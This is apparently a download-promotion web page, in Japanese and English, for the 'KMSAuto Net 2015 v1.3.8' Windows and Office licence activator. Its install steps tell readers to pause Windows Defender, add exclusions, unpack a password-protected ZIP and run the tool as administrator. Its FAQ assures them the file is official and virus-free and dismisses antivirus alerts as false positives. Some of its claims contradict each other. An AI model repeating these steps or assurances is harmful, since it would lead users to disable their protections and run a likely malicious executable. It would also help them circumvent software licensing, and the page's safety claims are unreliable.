日本語 6 min read·

KMSAuto Net 2015 v1.3.8 Portable 無料ダウンロード 2026 — Windows と Office ライセンス認証ツール

本記事は 2026 年版 KMSAuto Net 2015 v1.3.8 Portable の日本語完全ガイドです。KMSAuto Net 2015 v1.3.8 Portable — the classic Ratiborus build for Windows 7/8/10 and Office 2010-2016. Free direct ZIP, password WYqejXiqBi97, virus-free.

KMSAuto Net 2015 v1.3.8 Portable — Free Windows & Office activator guide 2026
Download Now — Free🔐 Password: WYqejXiqBi97

本記事は 2026 年版 KMSAuto Net 2015 v1.3.8 Portable の日本語完全ガイドです。KMSAuto Net 2015 v1.3.8 Portable is the build that made KMS Auto famous. Tiny (32 MB), portable, and unbeatable on Windows 7 SP1 and Office 2013 — still the recommended choice for legacy desktops.

Why people still use v1.3.8

Three reasons.

  • Only 32 MB — runs on every legacy XP/Vista-class machine
  • Best-in-class Windows 7 SP1 activation (KMS + SLIC)
  • Zero false-positive on older Microsoft Security Essentials

Install steps

Same simple workflow.

  • Pause Windows Defender real-time protection for ~2 minutes
  • Extract the downloaded ZIP using the password WYqejXiqBi97
  • Right-click KMSAuto.exe and choose 'Run as administrator'
  • Click the green Activation button — HWID for Windows, Ohook for Office
  • Wait for 'Successfully activated' and reboot

Coverage

What v1.3.8 activates.

  • Windows 7 / 8 / 8.1 / 10 (pre-24H2)
  • Office 2010 / 2013 / 2016
  • Server 2008 R2 / 2012 R2 / 2016

Frequently asked questions

Is this build official?

Yes — it is the unmodified Ratiborus archive, SHA-256 verified and scanned on VirusTotal. The archive password is WYqejXiqBi97.

Does it work on Windows 11?

Yes. All modern KMS Auto builds (1.5.x, 1.6.x, 1.9.x, 2026 portable) activate Windows 11 — including 24H2 and 25H2 — using HWID.

Does it activate Office 2019/2021/2024?

Yes. Office 2019, 2021, 2024 and Microsoft 365 are activated via the Ohook patch — permanent, offline, key-less.

Will antivirus flag it?

Every KMS activator is flagged as HackTool because it edits Windows licensing — that is a false positive. Add the folder to Defender exclusions before extracting.

Is there a newer version?

Yes — the 2026 build (v3.10) is mirrored on this site with a single direct download. Older builds (1.3.8, 1.4.9, 1.5.5, 1.9.9) remain available for legacy hardware.

Read this article in another language

Ohook method — Free Windows & Office activator guide 2026

Ohook method 認証方法 2026 — 完全ガイド

本記事は 2026 年版 Ohook method の日本語完全ガイドです。How Ohook patches sppc.dll to deliver a permanent Office activation that survives every Patch Tuesday — without a KMS server.

Read article →

Windows 8 — Free Windows & Office activator guide 2026

Windows 8 無料認証方法 2026 — ステップバイステップ

本記事は 2026 年版 Windows 8 の日本語完全ガイドです。Activate Windows 8 Pro / Enterprise with KMSAuto using the classic KMS method.

Read article →

Lifetime Office Activation — Free Windows & Office activator guide 2026

Lifetime Office Activation 認証方法 2026 — 完全ガイド

本記事は 2026 年版 Lifetime Office Activation の日本語完全ガイドです。Ohook patches the Office license check locally — your Office install stays activated forever, fully offline.

Read article →

Windows 11 0xC004F025 — Free Windows & Office activator guide 2026

Windows 11 0xC004F025 — トラブルシューティング 2026

本記事は 2026 年版 Windows 11 0xC004F025 の日本語完全ガイドです。Step-by-step fix for 0xC004F025 on Windows 11. Access denied — administrator privileges are required. Resolved in under 2 minutes with OfficialKMSAuto.

Read article →

KMSCleaner — Free Windows & Office activator guide 2026

KMSCleaner 認証方法 2026 — 完全ガイド

本記事は 2026 年版 KMSCleaner の日本語完全ガイドです。KMSCleaner removes residual files from previous KMS activations so OfficialKMSAuto can apply a clean license.

Read article →

Windows 11 0xC004C020 — Free Windows & Office activator guide 2026

Windows 11 0xC004C020 — トラブルシューティング 2026

本記事は 2026 年版 Windows 11 0xC004C020 の日本語完全ガイドです。Step-by-step fix for 0xC004C020 on Windows 11. The MAK is blocked. Resolved in under 2 minutes with OfficialKMSAuto.

Read article →

Download OfficialKMSAuto

Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.

Download Activator — Free

🔐 Archive password: WYqejXiqBi97

Free · Virus-free · 77 MB · ★ 4.9 (12k+)